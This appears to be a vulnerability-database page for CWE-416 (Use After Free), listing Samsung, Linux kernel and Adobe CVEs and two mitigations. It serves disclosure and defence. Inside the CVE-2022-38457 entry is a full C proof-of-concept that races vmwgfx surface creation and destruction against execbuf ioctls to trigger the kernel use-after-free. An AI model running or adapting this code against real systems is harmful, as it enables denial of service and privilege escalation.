Common Weakness Enumeration

CWE-416

Allowed

Use After Free

Abstraction: Variant · Status: Stable

API response cwe.mitre.org

The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.

9854 vulnerabilities reference this CWE, most recent first.

CVE-2022-39853 (GCVE-0-2022-39853)

Vulnerability from cvelistv5 – Published: 2022-10-07 00:00 – Updated: 2024-08-03 12:07
VLAI
Summary
A use after free vulnerability in perf-mgr driver prior to SMR Oct-2022 Release 1 allows attacker to cause memory access fault.
Severity
4.4 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
CWE
Assigner
References
Impacted products
Vendor Product Version
Samsung Mobile Samsung Mobile Devices Affected: Q(10), R(11), S(12) devices with Qualcomm SM8150 and SM8250 chipsets , < SMR Oct-2022 Release 1 (custom)
Create a notification for this product.
Show details on NVD website
To clipboard 

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CVE-2022-39847 (GCVE-0-2022-39847)

Vulnerability from cvelistv5 – Published: 2022-10-07 00:00 – Updated: 2024-08-03 12:07
VLAI
Summary
Use after free vulnerability in set_nft_pid and signal_handler function of NFC driver prior to SMR Oct-2022 Release 1 allows attackers to perform malicious actions.
Severity
4.9 (Medium)
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L
CWE
Assigner
References
Impacted products
Vendor Product Version
Samsung Mobile Samsung Mobile Devices Affected: Q(10), R(11), S(12) , < SMR Oct-2022 Release 1 (custom)
Create a notification for this product.
Show details on NVD website
To clipboard 

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CVE-2022-38457 (GCVE-0-2022-38457)

Vulnerability from cvelistv5 – Published: 2022-09-09 14:39 – Updated: 2024-09-17 02:11
VLAI
Title
There is an UAF vulnerability in vmwgfx driver
Summary
A use-after-free(UAF) vulnerability was found in function 'vmw_cmd_res_check' in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in Linux kernel's vmwgfx driver with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).
Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H
CWE
Assigner
References
Impacted products
Vendor Product Version
Linux kernel Affected: v4.20-rc1 , < 5.13.0-52* (custom)
Create a notification for this product.
Date Public
2022-09-06 00:00
Credits
Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab
Show details on NVD website
To clipboard 

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            "lang": "en",
            "value": "#include \u003cstdio.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cerrno.h\u003e\n\n#include \u003clinux/if_tun.h\u003e\n#include \u003cnet/if.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003csys/stat.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003csys/socket.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003cerrno.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003cstdint.h\u003e\n#include \u003cnetinet/ip.h\u003e\n#include \u003csys/resource.h\u003e\n#include \u003csys/syscall.h\u003e\n#include \u003climits.h\u003e\n#include \u003csys/mman.h\u003e\n\n#include \u003clinux/fs.h\u003e\nint sid =0;\nint fd = 0;\nint handle=0;\ntypedef struct mixer\n{\n\tint index;\n\tint fd;\n\tchar *msg;\n}mixer_t;\n\nstruct drm_vmw_surface_create_req {\n\t__u32 flags;\n\t__u32 format;\n\t__u32 mip_levels[6];\n\t__u64 size_addr;\n\t__s32 shareable;\n\t__s32 scanout;\n};\nstruct drm_vmw_execbuf_arg {\n\t__u64 commands;\n\t__u32 command_size;\n\t__u32 throttle_us;\n\t__u64 fence_rep;\n\t__u32 version;\n\t__u32 flags;\n\t__u32 context_handle;\n\t__s32 imported_fence_fd;\n};\nvoid init(){\nif ((fd = open(\"/dev/dri/renderD128\", O_RDWR)) == -1)\n                {\n                        printf(\"open tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n       \n}\nvoid poc(int handle,int sid){   \nint cmd[0x1000]={0};\ncmd[0]=1044;\ncmd[1]=0x50;\ncmd[2]=handle;\ncmd[3]=0;\ncmd[5]=sid;\ncmd[6]=0;\ncmd[7]=0;\ncmd[13]=1;\ncmd[12]=0;\ncmd[14]=1;\ncmd[19]=12;\nstruct drm_vmw_execbuf_arg arg={0};\n\targ.commands=cmd;\n\targ.command_size=0x100;\n\targ.version=1;  \n                if (ioctl(fd, 0x4028644C, \u0026arg) == -1)\n                {\n                        printf(\"poc failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n\n}\nint alloc_bo(){\n\nint arg[0x10]={0};\narg[0]=0x10000;\nif (ioctl(fd, 0xC0186441, \u0026arg) == -1)\n                {\n                        printf(\"alloc_bo failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n   return arg[2];         \n}\n\nint create_surface(){\nint buf[0x100]={0};\nbuf[0]=64;\nbuf[1]=64;\nbuf[2]=64;\nstruct drm_vmw_surface_create_req arg={0};\narg.flags=0;\narg.format=2;\narg.mip_levels[0]=1;\narg.size_addr=buf;\narg.shareable=0;\narg.scanout=0x10;\n\nif (ioctl(fd, 0xC0306449, \u0026arg) == -1)\n                {\n                        printf(\"create_surface failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\nreturn arg.flags;\n}\n\nvoid destory_surface(int sid){\n\nint arg[0x10]={0};\narg[0]=sid;\nif (ioctl(fd, 0x4008644A, \u0026arg) == -1)\n                {\n                        printf(\"destory_surface failed: %s\\n\", strerror(errno));\n                        return -1;\n                }       \n}\nvoid thread1(){\nwhile(1){\nsid = create_surface(); \ndestory_surface(sid); \n}\n}\nvoid thread2(){\nwhile(1){\npoc(handle,sid);  \n}\n\n}\n\n\nint main(int ac, char **argv)\n{\n pthread_t tid1,tid2;\n\n    \n\ninit();\nhandle=alloc_bo();\n        if(pthread_create(\u0026tid1,NULL,thread1,NULL)){\n                perror(\"thread_create\");\n        }\n\n\t\n              if(pthread_create(\u0026tid2,NULL,thread2,NULL)){\n                perror(\"thread_create\");\n        }\n        \n        while(1){\n        sleep(3);\n        \n        }\n}"
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CVE-2022-38448 (GCVE-0-2022-38448)

Vulnerability from cvelistv5 – Published: 2022-10-14 19:50 – Updated: 2025-04-23 16:46
VLAI
Title
Adobe Dimension SKP File Parsing Use-After-Free Remote Code Execution Vulnerability
Summary
Adobe Dimension versions 3.4.5 is affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
SSVC
Exploitation: none Automatable: no Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
  • CWE-416 - Use After Free (CWE-416)
Assigner
References
Impacted products
Vendor Product Version
Adobe Dimension Affected: unspecified , ≤ 3.4.5 (custom)
Affected: unspecified , ≤ None (custom)
Create a notification for this product.
Date Public
2022-10-11 00:00
Show details on NVD website
To clipboard 

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CVE-2022-38447 (GCVE-0-2022-38447)

Vulnerability from cvelistv5 – Published: 2022-10-14 19:50 – Updated: 2025-04-23 16:46
VLAI
Title
Adobe Dimension SKP File Parsing Use-After-Free Remote Code Execution Vulnerability
Summary
Adobe Dimension versions 3.4.5 is affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
SSVC
Exploitation: none Automatable: no Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
  • CWE-416 - Use After Free (CWE-416)
Assigner
References
Impacted products
Vendor Product Version
Adobe Dimension Affected: unspecified , ≤ 3.4.5 (custom)
Affected: unspecified , ≤ None (custom)
Create a notification for this product.
Date Public
2022-10-11 00:00
Show details on NVD website
To clipboard 

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CVE-2022-38446 (GCVE-0-2022-38446)

Vulnerability from cvelistv5 – Published: 2022-10-14 19:50 – Updated: 2025-04-23 16:46
VLAI
Title
Adobe Dimension SKP File Parsing Use-After-Free Remote Code Execution Vulnerability
Summary
Adobe Dimension versions 3.4.5 is affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
SSVC
Exploitation: none Automatable: no Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
  • CWE-416 - Use After Free (CWE-416)
Assigner
References
Impacted products
Vendor Product Version
Adobe Dimension Affected: unspecified , ≤ 3.4.5 (custom)
Affected: unspecified , ≤ None (custom)
Create a notification for this product.
Date Public
2022-10-11 00:00
Show details on NVD website
To clipboard 

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CVE-2022-38445 (GCVE-0-2022-38445)

Vulnerability from cvelistv5 – Published: 2022-10-14 19:50 – Updated: 2025-04-23 16:46
VLAI
Title
Adobe Dimension SKP File Parsing Use-After-Free Remote Code Execution Vulnerability
Summary
Adobe Dimension versions 3.4.5 is affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
SSVC
Exploitation: none Automatable: no Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
  • CWE-416 - Use After Free (CWE-416)
Assigner
References
Impacted products
Vendor Product Version
Adobe Dimension Affected: unspecified , ≤ 3.4.5 (custom)
Affected: unspecified , ≤ None (custom)
Create a notification for this product.
Date Public
2022-10-11 00:00
Show details on NVD website
To clipboard 

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CVE-2022-38444 (GCVE-0-2022-38444)

Vulnerability from cvelistv5 – Published: 2022-10-14 19:50 – Updated: 2025-04-23 16:46
VLAI
Title
Adobe Dimension SKP File Parsing Use-After-Free Remote Code Execution Vulnerability
Summary
Adobe Dimension versions 3.4.5 is affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
SSVC
Exploitation: none Automatable: no Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
  • CWE-416 - Use After Free (CWE-416)
Assigner
References
Impacted products
Vendor Product Version
Adobe Dimension Affected: unspecified , ≤ 3.4.5 (custom)
Affected: unspecified , ≤ None (custom)
Create a notification for this product.
Date Public
2022-10-11 00:00
Show details on NVD website
To clipboard 

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CVE-2022-38442 (GCVE-0-2022-38442)

Vulnerability from cvelistv5 – Published: 2022-10-14 19:50 – Updated: 2025-04-23 16:46
VLAI
Title
Adobe Dimension SKP File Parsing Use-After-Free Remote Code Execution Vulnerability
Summary
Adobe Dimension versions 3.4.5 is affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
SSVC
Exploitation: none Automatable: no Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
  • CWE-416 - Use After Free (CWE-416)
Assigner
References
Impacted products
Vendor Product Version
Adobe Dimension Affected: unspecified , ≤ 3.4.5 (custom)
Affected: unspecified , ≤ None (custom)
Create a notification for this product.
Date Public
2022-10-11 00:00
Show details on NVD website
To clipboard 

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CVE-2022-38437 (GCVE-0-2022-38437)

Vulnerability from cvelistv5 – Published: 2022-10-14 19:45 – Updated: 2025-04-23 16:47
VLAI
Title
Adobe Acrobat Reader Use After Free Memory leak
Summary
Adobe Acrobat Reader versions 22.002.20212 (and earlier) and 20.005.30381 (and earlier) are affected by a Use After Free vulnerability that could lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to bypass mitigations such as ASLR. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
SSVC
Exploitation: none Automatable: no Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
  • CWE-416 - Use After Free (CWE-416)
Assigner
References
Impacted products
Vendor Product Version
Adobe Acrobat Reader Affected: unspecified , ≤ 20.005.30381 (custom)
Affected: unspecified , ≤ 22.002.20212 (custom)
Affected: unspecified , ≤ None (custom)
Create a notification for this product.
Date Public
2022-10-11 00:00
Show details on NVD website
To clipboard 

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Mitigation
Architecture and Design

Strategy: Language Selection

Choose a language that provides automatic memory management.

Mitigation
Implementation

Strategy: Attack Surface Reduction

When freeing pointers, be sure to set them to NULL once they are freed. However, the utilization of multiple or complex data structures may lower the usefulness of this strategy.

No CAPEC attack patterns related to this CWE.

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